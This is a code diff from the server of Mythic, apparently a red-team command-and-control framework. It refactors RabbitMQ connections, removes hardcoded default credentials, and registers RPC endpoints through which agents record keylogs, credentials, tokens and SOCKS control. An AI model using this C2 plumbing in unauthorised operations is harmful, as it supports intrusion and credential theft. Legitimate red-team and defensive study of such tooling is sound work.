- enc_message = await encrypt_AES256(
- json.dumps(response_data).encode(),
- base64.b64decode(callback.encryption_key),
- )
- else:
- enc_message = json.dumps(response_data).encode()
- enc_message = base64.b64encode(
- callback.agent_callback_id.encode() + enc_message
- ).decode()
- else:
- enc_message = base64.b64encode(
- (callback.agent_callback_id + json.dumps(response_data)).encode()
- ).decode()
- return {"status": "success", "response": {"encrypted": enc_message, "raw": response_data}}
- except Exception as e:
- return {"status": "error", "error": str(e)}
-
-
-async def get_callback_info(request):
- try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, agent_callback_id=request["uuid"])
- cjson = callback.to_json()
- cjson["encryption_type"] = callback.encryption_type
- cjson["encryption_key"] = callback.encryption_key
- cjson["decryption_key"] = callback.decryption_key
- return {"status": "success", "response": cjson}
- except Exception as e:
- return {"status": "error", "error": str(e)}
-
-
-async def get_encryption_data(request):
- try:
- # given a UUID and profile name, get all of the saved parameter values for that UUID
- # could be payload or callback though, so check both
- profile_query = await db_model.c2profile_query()
- profile = await db_objects.get(profile_query, name=request["c2_profile"])
- try:
- callback_query = await db_model.callback_query()
- callback = await db_objects.get(
- callback_query, agent_callback_id=request["uuid"]
- )
- # if it's a callback, get the current parameters
- cjson = {"uuid_type": "callback"}
- cjson["encryption_type"] = callback.encryption_type
- cjson["encryption_key"] = callback.encryption_key
- cjson["decryption_key"] = callback.decryption_key
- return {"status": "success", "response": cjson}
- except Exception as c:
- # that's ok, might just be a payload rather than a callback
- payload_query = await db_model.payload_query()
- payload = await db_objects.get(payload_query, uuid=request["uuid"])
- cjson = {"uuid_type": "payload"}
- for p in payload.payload_profile_parameters:
- if p.c2_profile == profile:
- cjson[p.c2_profile_parameters.name] = p.value
- return {"status": "success", "response": cjson}
- # if we get another exception trying to get it as a payload, fall through to error
- except Exception as e:
- return {"status": "error", "error": str(e)}
-
-
-async def update_callback_info(request):
- try:
- from app.api.callback_api import update_callback
-
- status = await update_callback(request["data"], request["uuid"])
- return status
- except Exception as e:
- return {"status": "error", "error": str(e)}
-
-
async def add_event_message(request):
try:
- operation_query = await db_model.operation_query()
- operations = await db_objects.execute(
- operation_query.where(db_model.Operation.complete == False)
+ operations = await app.db_objects.execute(
+ db_model.operation_query.where(db_model.Operation.complete == False)
)
for o in operations:
- msg = await db_objects.create(
+ msg = await app.db_objects.create(
db_model.OperationEventLog,
level=request["level"],
operation=o,
message=request["message"],
)
- await log_to_siem(msg.to_json(), mythic_object="eventlog_new")
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_new"))
return {"status": "success"}
except Exception as e:
return {"status": "error", "error": str(e)}
-async def add_route(request):
- # {"action": "add_route",
- # "source": source_uuid,
- # "destination": destination_uuid,
- # "direction": direction,
- # "metadata": metadata
- # }
- from app.api.callback_api import add_p2p_route
-
- request["action"] = "add"
- rsp = await add_p2p_route(request, None, None)
- return rsp
-
-
-async def remove_route(request):
- # {"action": "remove_route",
- # "source": source_uuid,
- # "destination": destination_uuid,
- # "direction": direction,
- # "metadata": metadata
- # }
- from app.api.callback_api import add_p2p_route
-
- request["action"] = "remove"
- rsp = await add_p2p_route(request, None, None)
- return rsp
+async def create_event_message(task_id: int, message: str, warning: bool = False) -> dict:
+ """
+ Create a message in the Event feed within the UI as an info message or as a warning
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param message: The message you want to send
+ :param warning: If this is True, the message will be a "warning" message
+ :return: success or error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ msg = await app.db_objects.create(
+ db_model.OperationEventLog,
+ level="warning" if warning else "info",
+ operation=task.callback.operation,
+ message=message
+ )
+ asyncio.create_task(log_to_siem(mythic_object=msg, mythic_source="eventlog_new"))
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": str(e)}
async def add_command_attack_to_task(task, command):
try:
- query = await db_model.attackcommand_query()
- attack_mappings = await db_objects.execute(
- query.where(db_model.ATTACKCommand.command == command)
+ attack_mappings = await app.db_objects.execute(
+ db_model.attackcommand_query.where(db_model.ATTACKCommand.command == command)
)
for attack in attack_mappings:
try:
- query = await db_model.attacktask_query()
# try to get the query, if it doens't exist, then create it in the exception
- await db_objects.get(query, task=task, attack=attack.attack)
+ await app.db_objects.get(db_model.attacktask_query, task=task, attack=attack.attack)
except Exception as e:
- attack = await db_objects.create(
+ attack = await app.db_objects.create(
db_model.ATTACKTask, task=task, attack=attack.attack
)
- await log_to_siem(attack.to_json(), mythic_object="task_mitre_attack")
+ asyncio.create_task(log_to_siem(mythic_object=attack, mythic_source="task_mitre_attack"))
except Exception as e:
- #logger.exception(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logger.warning("rabbitmq.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
raise e
@@ -1028,43 +1800,48 @@ async def rabbit_heartbeat_callback(message: aio_pika.IncomingMessage):
with message.process():
pieces = message.routing_key.split(".")
# print(" [x] %r:%r" % (
- # message.routing_key,
- # message.body
+ # message.routing_key,
+ # message.body
# ))
try:
if pieces[0] == "c2":
- query = await db_model.c2profile_query()
try:
- profile = await db_objects.get(query, name=pieces[2], deleted=False)
+ profile = await app.db_objects.get(db_model.c2profile_query, name=pieces[2], deleted=False)
except Exception as e:
if pieces[2] not in sync_tasks:
sync_tasks[pieces[2]] = True
- await send_all_operations_message(message=f"sending container sync message to {pieces[2]}",
- level="info")
+ asyncio.create_task(
+ send_all_operations_message(message=f"sending container sync message to {pieces[2]}",
+ level="info", source="sync_c2_send"))
await send_c2_rabbitmq_message(pieces[2], "sync_classes", "", "")
return
if (
- profile.last_heartbeat
- < datetime.datetime.utcnow() + datetime.timedelta(seconds=-30)
- or not profile.container_running
+ profile.last_heartbeat
+ < datetime.datetime.utcnow() + datetime.timedelta(seconds=-30)
+ or not profile.container_running
):
if profile.running:
- await send_all_operations_message(message=f"{profile.name}'s internal server stopped",
- level="warning")
+ asyncio.create_task(
+ send_all_operations_message(message=f"{profile.name}'s internal server stopped",
+ level="warning"))
profile.running = False # container just started, clearly the inner service isn't running
- # print("setting running to false")
profile.container_running = True
profile.last_heartbeat = datetime.datetime.utcnow()
- await db_objects.update(profile)
+ await app.db_objects.update(profile)
elif pieces[0] == "pt":
- ptquery = await db_model.payloadtype_query()
try:
- payload_type = await db_objects.get(
- ptquery, ptype=pieces[2], deleted=False
+ payload_type = await app.db_objects.get(
+ db_model.payloadtype_query, ptype=pieces[2], deleted=False
)
payload_type.container_running = True
payload_type.last_heartbeat = datetime.datetime.utcnow()
- await db_objects.update(payload_type)
+ if len(pieces) == 5:
+ payload_type.container_count = int(pieces[4])
+ elif payload_type.container_running:
+ payload_type.container_count = 1
+ else:
+ payload_type.container_count = 0
+ await app.db_objects.update(payload_type)
except Exception as e:
if pieces[2] not in sync_tasks:
# don't know the ptype, but haven't sent a sync request either, wait for an auto sync
@@ -1072,19 +1849,68 @@ async def rabbit_heartbeat_callback(message: aio_pika.IncomingMessage):
else:
# don't know the ptype and haven't seen an auto sync, force a sync
sync_tasks.pop(pieces[2], None)
- await send_all_operations_message(message=f"sending container sync message to {pieces[2]}",
- level="info")
- await send_pt_rabbitmq_message(pieces[2], "sync_classes", "", "")
+ asyncio.create_task(
+ send_all_operations_message(message=f"sending container sync message to {pieces[2]}",
+ level="info", source="payload_sync_send"))
+ stats = await send_pt_rabbitmq_message(pieces[2], "sync_classes", "", "", "")
+ if stats["status"] == "error":
+ asyncio.create_task(send_all_operations_message(
+ message="Failed to contact {} service: {}\nIs the container online and at least version 7?".format(
+ pieces[2], stats["error"]
+ ), level="warning", source="payload_import_sync_error"))
+ elif pieces[0] == "tr":
+ if len(pieces) == 4:
+ if int(pieces[3]) > valid_translation_container_version_bounds[1] or \
+ int(pieces[3]) < valid_translation_container_version_bounds[0]:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="Translation container, {}, of version {} is not supported by this version of Mythic.\nThe container version must be between {} and {}".format(
+ pieces[2], pieces[3], str(valid_translation_container_version_bounds[0]),
+ str(valid_translation_container_version_bounds[1])
+ ), level="warning", source="bad_translation_version"))
+ return
+ else:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="Translation container, {}, of version 1 is not supported by this version of Mythic.\nThe container version must be between {} and {}".format(
+ pieces[2],
+ str(valid_translation_container_version_bounds[0]),
+ str(valid_translation_container_version_bounds[1])
+ ), level="warning", source="bad_translation_version"))
+ return
+ try:
+ translation_container = await app.db_objects.get(db_model.translationcontainer_query,
+ name=pieces[2], deleted=False)
+
+ except Exception as e:
+ translation_container = await app.db_objects.create(db_model.TranslationContainer,
+ name=pieces[2])
+ payloads = await app.db_objects.execute(db_model.payloadtype_query)
+ for p in payloads:
+ if not p.deleted:
+ stats = await send_pt_rabbitmq_message(
+ p.ptype, "sync_classes", "", "", ""
+ )
+ if stats["status"] == "error":
+ asyncio.create_task(send_all_operations_message(
+ message="Failed to contact {} service: {}\nIs the container online and at least version 7?".format(
+ p.ptype, stats["error"]
+ ), level="warning", source="payload_import_sync_error"))
+ translation_container.last_heartbeat = datetime.datetime.utcnow()
+ translation_container.container_running = True
+ await app.db_objects.update(translation_container)
except Exception as e:
logger.exception(
"Exception in rabbit_heartbeat_callback: {}, {}".format(pieces, str(e))
)
- # print("Exception in rabbit_heartbeat_callback: {}, {}".format(pieces, str(e)))
# just listen for c2 heartbeats and update the database as necessary
async def start_listening():
- logger.debug("starting to consume rabbitmq messages")
+ logger.debug("Waiting for RabbitMQ to start..")
+ await wait_for_rabbitmq()
+
+ logger.debug("Starting to consume rabbitmq messages")
task = None
task2 = None
task3 = None
@@ -1105,28 +1931,55 @@ async def start_listening():
await asyncio.sleep(3)
+async def mythic_rabbitmq_connection():
+ logger.debug("Logging into RabbitMQ with {}@{}:{}/{}".format(
+ mythic.config["RABBITMQ_USER"],
+ mythic.config['RABBITMQ_HOST'],
+ mythic.config['RABBITMQ_PORT'],
+ mythic.config['RABBITMQ_VHOST']))
+
+ return await aio_pika.connect_robust(
+ host=mythic.config["RABBITMQ_HOST"],
+ port=mythic.config["RABBITMQ_PORT"],
+ login=mythic.config["RABBITMQ_USER"],
+ password=mythic.config["RABBITMQ_PASSWORD"],
+ virtualhost=mythic.config["RABBITMQ_VHOST"],
+ timeout=5
+ )
+
+
+async def wait_for_rabbitmq():
+ connection = None
+ while connection is None:
+ try:
+ connection = await mythic_rabbitmq_connection()
+ except (ConnectionError, ConnectionRefusedError) as c:
+ logger.info("Waiting for RabbitMQ port to come online. Trying again in 2 seconds..")
+ except Exception as e:
+ logger.info("Waiting for RabbitMQ service to come online. Trying again in 2 seconds..")
+ await asyncio.sleep(2)
+
+ await connection.close()
+ logger.info("RabbitMQ is online")
+
+
async def connect_and_consume_c2():
connection = None
while connection is None:
try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# declare our exchange
await channel.declare_exchange(
"mythic_traffic", aio_pika.ExchangeType.TOPIC
)
# get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
+ queue = await channel.declare_queue("consume_c2", auto_delete=True)
# bind the queue to the exchange so we can actually catch messages
await queue.bind(exchange="mythic_traffic", routing_key="c2.status.#")
await channel.set_qos(prefetch_count=50)
- logger.info(" [*] Waiting for messages in connect_and_consume_c2.")
+ logger.info("Waiting for messages in connect_and_consume_c2.")
try:
task = queue.consume(rabbit_c2_callback)
result = await asyncio.wait_for(task, None)
@@ -1134,14 +1987,12 @@ async def connect_and_consume_c2():
logger.exception(
"Exception in connect_and_consume .consume: {}".format(str(e))
)
- # print("Exception in connect_and_consume .consume: {}".format(str(e)))
except (ConnectionError, ConnectionRefusedError) as c:
- logger.error("Connection to rabbitmq failed, trying again...")
+ logger.error("Connection to rabbitmq failed, trying again..")
except Exception as e:
logger.exception(
"Exception in connect_and_consume connect: {}".format(str(e))
)
- # print("Exception in connect_and_consume connect: {}".format(str(e)))
await asyncio.sleep(2)
@@ -1149,23 +2000,18 @@ async def connect_and_consume_pt():
connection = None
while connection is None:
try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# declare our exchange
await channel.declare_exchange(
"mythic_traffic", aio_pika.ExchangeType.TOPIC
)
# get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
+ queue = await channel.declare_queue("consume_pt", auto_delete=True)
# bind the queue to the exchange so we can actually catch messages
await queue.bind(exchange="mythic_traffic", routing_key="pt.status.#")
await channel.set_qos(prefetch_count=50)
- logger.info(" [*] Waiting for messages in connect_and_consume_pt.")
+ logger.info("Waiting for messages in connect_and_consume_pt.")
try:
task = queue.consume(rabbit_pt_callback)
result = await asyncio.wait_for(task, None)
@@ -1173,14 +2019,12 @@ async def connect_and_consume_pt():
logger.exception(
"Exception in connect_and_consume .consume: {}".format(str(r))
)
- # print("Exception in connect_and_consume .consume: {}".format(str(e)))
except (ConnectionError, ConnectionRefusedError) as c:
- logger.error("Connection to rabbitmq failed, trying again...")
+ logger.error("Connection to rabbitmq failed, trying again..")
except Exception as e:
logger.exception(
"Exception in connect_and_consume connect: {}".format(str(e))
)
- # print("Exception in connect_and_consume connect: {}".format(str(e)))
await asyncio.sleep(2)
@@ -1188,34 +2032,18 @@ async def connect_and_consume_rpc():
connection = None
while connection is None:
try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("rpc_queue")
+ #queue = await channel.declare_queue("rpc_queue", auto_delete=True)
+ rpc = await aio_pika.patterns.RPC.create(channel)
+ await register_rpc_endpoints(rpc)
await channel.set_qos(prefetch_count=50)
- logger.info(" [*] Waiting for messages in connect_and_consume_rpc.")
- try:
- task = queue.consume(
- partial(rabbit_pt_rpc_callback, channel.default_exchange)
- )
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- logger.exception(
- "Exception in connect_and_consume_rpc .consume: {}".format(str(e))
- )
- # print("Exception in connect_and_consume .consume: {}".format(str(e)))
except (ConnectionError, ConnectionRefusedError) as c:
- logger.error("Connection to rabbitmq failed, trying again...")
+ logger.error("Connection to rabbitmq failed, trying again..")
except Exception as e:
logger.exception(
"Exception in connect_and_consume_rpc connect: {}".format(str(e))
)
- # print("Exception in connect_and_consume connect: {}".format(str(e)))
await asyncio.sleep(2)
@@ -1223,17 +2051,12 @@ async def connect_and_consume_c2_rpc():
connection = None
while connection is None:
try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("c2rpc_queue")
+ queue = await channel.declare_queue("c2rpc_queue", auto_delete=True)
await channel.set_qos(prefetch_count=50)
- logger.info(" [*] Waiting for messages in connect_and_consume_rpc.")
+ logger.info("Waiting for messages in connect_and_consume_rpc.")
try:
task = queue.consume(
partial(rabbit_c2_rpc_callback, channel.default_exchange)
@@ -1245,14 +2068,12 @@ async def connect_and_consume_c2_rpc():
str(e)
)
)
- # print("Exception in connect_and_consume .consume: {}".format(str(e)))
except (ConnectionError, ConnectionRefusedError) as c:
- logger.error("Connection to rabbitmq failed, trying again...")
+ logger.error("Connection to rabbitmq failed, trying again..")
except Exception as e:
logger.exception(
"Exception in connect_and_consume_c2_rpc connect: {}".format(str(e))
)
- # print("Exception in connect_and_consume connect: {}".format(str(e)))
await asyncio.sleep(2)
@@ -1260,23 +2081,18 @@ async def connect_and_consume_heartbeats():
connection = None
while connection is None:
try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# declare our exchange
await channel.declare_exchange(
"mythic_traffic", aio_pika.ExchangeType.TOPIC
)
# get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
+ queue = await channel.declare_queue("heartbeats", auto_delete=True)
# bind the queue to the exchange so we can actually catch messages
await queue.bind(exchange="mythic_traffic", routing_key="*.heartbeat.#")
await channel.set_qos(prefetch_count=20)
- logger.info(" [*] Waiting for messages in connect_and_consume_heartbeats.")
+ logger.info("Waiting for messages in connect_and_consume_heartbeats.")
try:
task = queue.consume(rabbit_heartbeat_callback)
result = await asyncio.wait_for(task, None)
@@ -1284,25 +2100,18 @@ async def connect_and_consume_heartbeats():
logger.exception(
"Exception in connect_and_consume .consume: {}".format(str(e))
)
- # print("Exception in connect_and_consume .consume: {}".format(str(e)))
except (ConnectionError, ConnectionRefusedError) as c:
- logger.error("Connection to rabbitmq failed, trying again...")
+ logger.error("Connection to rabbitmq failed, trying again..")
except Exception as e:
logger.exception(
"Exception in connect_and_consume connect: {}".format(str(e))
)
- # print("Exception in connect_and_consume connect: {}".format(str(e)))
await asyncio.sleep(2)
async def send_c2_rabbitmq_message(name, command, message_body, username):
try:
- connection = await aio_pika.connect(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# declare our exchange
exchange = await channel.declare_exchange(
@@ -1315,25 +2124,19 @@ async def send_c2_rabbitmq_message(name, command, message_body, username):
await exchange.publish(
message,
routing_key="c2.modify.{}.{}.{}".format(
- name, command, base64.b64encode(username.encode()).decode("utf-8")
+ name, command, base64.b64encode(username.encode("utf-8")).decode("utf-8")
),
)
await connection.close()
return {"status": "success"}
except Exception as e:
- logger.exception(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- # print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logger.exception("rabbitmq.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "Failed to connect to rabbitmq, refresh"}
-async def send_pt_rabbitmq_message(payload_type, command, message_body, username):
+async def send_pt_rabbitmq_message(payload_type, command, message_body, username, reference_id):
try:
- connection = await aio_pika.connect(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
+ connection = await mythic_rabbitmq_connection()
channel = await connection.channel()
# declare our exchange
exchange = await channel.declare_exchange(
@@ -1343,17 +2146,130 @@ async def send_pt_rabbitmq_message(payload_type, command, message_body, username
message_body.encode(), delivery_mode=aio_pika.DeliveryMode.PERSISTENT
)
# Sending the message
- await exchange.publish(
- message,
- routing_key="pt.task.{}.{}.{}".format(
+ routing_key = "pt.task.{}.{}.{}.{}".format(
payload_type,
command,
- base64.b64encode(username.encode()).decode("utf-8"),
- ),
+ reference_id,
+ base64.b64encode(username.encode("utf-8")).decode("utf-8"))
+ try:
+ queue = await channel.get_queue(payload_type + "_tasking")
+ if queue.declaration_result.consumer_count == 0:
+ return {"status": "error", "error": "No containers online for {}".format(payload_type), "type": "no_queue"}
+ except Exception as d:
+ return {"status": "error", "error": "Container not online: " + str(d), "type": "no_queue"}
+ await exchange.publish(
+ message,
+ routing_key=routing_key,
)
await connection.close()
return {"status": "success"}
except Exception as e:
- logger.exception(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- # print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- return {"status": "error", "error": "Failed to connect to rabbitmq, refresh"}
+ logger.exception("rabbitmq.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {"status": "error", "error": "Failed to connect to rabbitmq: " + str(e)}
+
+
+class MythicBaseRPC:
+ def __init__(self):
+ self.connection = None
+ self.channel = None
+ self.callback_queue = None
+ self.futures = {}
+ self.loop = None
+
+ async def connect(self):
+ self.connection = await mythic_rabbitmq_connection()
+ self.channel = await self.connection.channel()
+ self.callback_queue = await self.channel.declare_queue(exclusive=False, auto_delete=True)
+ await self.callback_queue.consume(self.on_response)
+ return self
+
+ def on_response(self, message: aio_pika.IncomingMessage):
+ future = self.futures.pop(message.correlation_id)
+ future.set_result(message.body)
+
+ async def call(self, message: dict, receiver: str = None) -> (bytes, bool):
+ try:
+ if self.loop is None:
+ self.loop = asyncio.get_event_loop()
+ if self.connection is None:
+ await self.connect()
+ correlation_id = str(uuid.uuid4())
+ future = self.loop.create_future()
+ self.futures[correlation_id] = future
+ try:
+ await self.channel.get_queue(receiver)
+ await self.channel.default_exchange.publish(
+ aio_pika.Message(
+ json.dumps(message).encode("utf-8"),
+ content_type="application/json",
+ correlation_id=correlation_id,
+ reply_to=self.callback_queue.name,
+ ),
+ routing_key=receiver,
+ )
+ return await future, True
+ except Exception as d:
+ self.connection = None
+ asyncio.create_task(
+ send_all_operations_message(
+ message="Failed to connect to {}; is the container running?".format(receiver),
+ level="warning", source="rabbitmq_container_connect"))
+ logger.warning("rabbitmq.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(d))
+ return b"", False
+ except Exception as e:
+ self.connection = None
+ asyncio.create_task(
+ send_all_operations_message(message="rabbitmq.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e),
+ level="warning", source="rabbitmq_container_exception"))
+ logger.warning("rabbitmq.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return b"", False
+
+
+async def register_rpc_endpoints(rpc):
+ for k,v in exposed_rpc_endpoints.items():
+ await rpc.register(k, v, auto_delete=True)
+ await rpc.register("get_rpc_functions", get_rpc_functions, auto_delete=True)
+
+
+def get_rpc_functions():
+ import inspect
+ output = ""
+ for k, v in exposed_rpc_endpoints.items():
+ output += k + str(inspect.signature(v))
+ if v.__doc__ is not None:
+ output += v.__doc__ + "\n"
+ else:
+ output += "\n"
+ return {"status": "success", "response": output}
+
+
+exposed_rpc_endpoints = {
+ "create_file": create_file,
+ "get_file": get_file,
+ "get_payload": get_payload,
+ "get_tasks": get_tasks,
+ "get_responses": get_responses,
+ "create_payload_from_uuid": create_payload_from_uuid,
+ "create_payload_from_parameters": create_payload_from_parameters,
+ "create_processes": create_processes_rpc,
+ "create_process": create_process,
+ "create_artifact": create_artifact,
+ "create_keylog": create_keylog,
+ "create_output": create_output,
+ "create_event_message": create_event_message,
+ "create_credential": create_credential,
+ "create_file_browser": create_file_browser,
+ "create_payload_on_host": create_payload_on_host,
+ "create_logon_session": create_logon_session,
+ "create_callback_token": create_callback_token,
+ "create_token": create_token,
+ "delete_token": delete_token,
+ "delete_file_browser": delete_file_browser,
+ "delete_logon_session": delete_logon_session,
+ "delete_callback_token": delete_callback_token,
+ "update_callback": update_callback,
+ "search_database": search_database,
+ "control_socks": control_socks,
+ "create_subtask": create_subtask,
+ "create_subtask_group": create_subtask_group
+}
diff --git a/mythic-docker/app/api/reporting_api.py b/mythic-docker/app/api/reporting_api.py
index bb63cd9d7..12222ba50 100755
--- a/mythic-docker/app/api/reporting_api.py
+++ b/mythic-docker/app/api/reporting_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from app.database_models.model import *
from sanic.response import json
from sanic_jwt.decorators import scoped, inject_user
@@ -31,8 +32,7 @@ async def reporting_full_timeline_api(request, user):
return json({"status": "error", "error": "Spectators cannot generate reports"})
if user["current_operation"] != "":
try:
- query = await operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(operation_query, name=user["current_operation"])
pdf = PDF()
pdf.set_author(user["username"])
pdf.set_title(
@@ -87,22 +87,21 @@ async def reporting_full_timeline_api(request, user):
pdf, status = await get_all_data(operation, pdf, data)
if status["status"] == "success":
save_path = "./app/files/{}".format(str(uuid.uuid4()))
- query = await operator_query()
- operator = await db_objects.get(query, username=user["username"])
- filemeta = await db_objects.create(
+ operator = await app.db_objects.get(operator_query, username=user["username"])
+ filemeta = await app.db_objects.create(
FileMeta,
total_chunks=1,
operation=operation,
path=save_path,
operator=operator,
complete=True,
- filename="{} Timeline.pdf".format(user["current_operation"]),
+ filename="{} Timeline.pdf".format(user["current_operation"]).encode("utf-8"),
)
pdf.output(save_path, dest="F")
filedata = open(save_path, "rb").read()
filemeta.md5 = await hash_MD5(filedata)
filemeta.sha1 = await hash_SHA1(filedata)
- await db_objects.update(filemeta)
+ await app.db_objects.update(filemeta)
else:
return json({"status": "error", "error": status["error"]})
return json({"status": "success", **filemeta.to_json()})
@@ -120,23 +119,20 @@ async def get_all_data(operation, pdf, config):
# need to get all callbacks, tasks, responses in a dict with the key being the timestamp
try:
all_data = {}
- query = await callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation).order_by(Callback.id)
+ callbacks = await app.db_objects.execute(
+ callback_query.where(Callback.operation == operation).order_by(Callback.id)
)
height = pdf.font_size + 1
for c in callbacks:
all_data[c.init_callback] = {"callback": c}
- query = await task_query()
- tasks = await db_objects.prefetch(
- query.where(Task.callback == c), Command.select()
+ tasks = await app.db_objects.prefetch(
+ task_query.where(Task.callback == c), Command.select()
)
for t in tasks:
all_data[t.status_timestamp_preprocessing] = {"task": t}
if config["attack"]:
- query = await attacktask_query()
- attacks = await db_objects.execute(
- query.where(ATTACKTask.task == t)
+ attacks = await app.db_objects.execute(
+ attacktask_query.where(ATTACKTask.task == t)
)
attack_list = []
for a in attacks:
@@ -145,9 +141,8 @@ async def get_all_data(operation, pdf, config):
)
all_data[t.status_timestamp_preprocessing]["attack"] = attack_list
if config["artifacts"]:
- query = await taskartifact_query()
- artifacts = await db_objects.execute(
- query.where(TaskArtifact.task == t)
+ artifacts = await app.db_objects.execute(
+ taskartifact_query.where(TaskArtifact.task == t)
)
artifacts_list = []
for a in artifacts:
@@ -156,9 +151,8 @@ async def get_all_data(operation, pdf, config):
"artifacts"
] = artifacts_list
if "cmd_output" in config and config["cmd_output"]:
- query = await response_query()
- responses = await db_objects.execute(
- query.where(Response.task == t).order_by(Response.timestamp)
+ responses = await app.db_objects.execute(
+ response_query.where(Response.task == t).order_by(Response.timestamp)
)
if "strict" in config and config["strict"] == "time":
# this will get output as it happened, not grouped with the corresponding command
@@ -237,9 +231,8 @@ async def get_all_data(operation, pdf, config):
pdf.set_fill_color(244, 244, 244)
task = all_data[key]["task"]
task_json = task.to_json()
- query = await callback_query()
callback = (
- await db_objects.get(query, id=all_data[key]["task"].callback)
+ await app.db_objects.get(callback_query, id=all_data[key]["task"].callback)
).to_json()
pdf.cell(
w=36,
@@ -479,27 +472,24 @@ async def get_full_timeline_json(request, user):
if "attack" in config:
data["attack"] = config["attack"]
try:
- query = await operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(operation_query, name=user["current_operation"])
all_data = {}
- query = await callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation).order_by(Callback.id)
+ callbacks = await app.db_objects.prefetch(
+ callback_query.where(Callback.operation == operation).order_by(Callback.id),
+ callbacktoken_query
)
for c in callbacks:
c_json = c.to_json()
all_data[c_json["init_callback"]] = {"callback": c_json}
- query = await task_query()
- tasks = await db_objects.prefetch(
- query.where(Task.callback == c).order_by(Task.id),
- Command.select(),
+ tasks = await app.db_objects.prefetch(
+ task_query.where(Task.callback == c).order_by(Task.id),
+ command_query,
)
for t in tasks:
t_json = t.to_json()
if data["attack"]:
- query = await attacktask_query()
- attacks = await db_objects.execute(
- query.where(ATTACKTask.task == t)
+ attacks = await app.db_objects.execute(
+ attacktask_query.where(ATTACKTask.task == t)
)
attack_list = []
for a in attacks:
@@ -511,9 +501,8 @@ async def get_full_timeline_json(request, user):
)
t_json["attack"] = attack_list
if data["artifacts"]:
- query = await taskartifact_query()
- artifacts = await db_objects.execute(
- query.where(TaskArtifact.task == t)
+ artifacts = await app.db_objects.execute(
+ taskartifact_query.where(TaskArtifact.task == t)
)
artifacts_list = []
for a in artifacts:
@@ -523,9 +512,8 @@ async def get_full_timeline_json(request, user):
"task": t_json
}
if data["cmd_output"]:
- query = await response_query()
- responses = await db_objects.execute(
- query.where(Response.task == t)
+ responses = await app.db_objects.execute(
+ response_query.where(Response.task == t)
)
if data["strict"] == "time":
# this will get output as it happened, not grouped with the corresponding command
@@ -550,23 +538,22 @@ async def get_full_timeline_json(request, user):
"responses": response_data,
}
save_path = "./app/files/{}".format(str(uuid.uuid4()))
- query = await operator_query()
- operator = await db_objects.get(query, username=user["username"])
- filemeta = await db_objects.create(
+ operator = await app.db_objects.get(operator_query, username=user["username"])
+ filemeta = await app.db_objects.create(
FileMeta,
total_chunks=1,
operation=operation,
path=save_path,
operator=operator,
complete=True,
- filename="{} Full Timeline.json".format(user["current_operation"]),
+ filename="{} Full Timeline.json".format(user["current_operation"]).encode("utf-8"),
)
file = open(save_path, "w")
file.write(js.dumps(all_data, indent=4, sort_keys=True))
file.close()
filemeta.md5 = await hash_MD5(js.dumps(all_data))
filemeta.sha1 = await hash_SHA1(js.dumps(all_data))
- await db_objects.update(filemeta)
+ await app.db_objects.update(filemeta)
return json({"status": "success", **filemeta.to_json()})
except Exception as e:
print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
diff --git a/mythic-docker/app/api/response_api.py b/mythic-docker/app/api/response_api.py
index 348c491f4..6250e619d 100755
--- a/mythic-docker/app/api/response_api.py
+++ b/mythic-docker/app/api/response_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
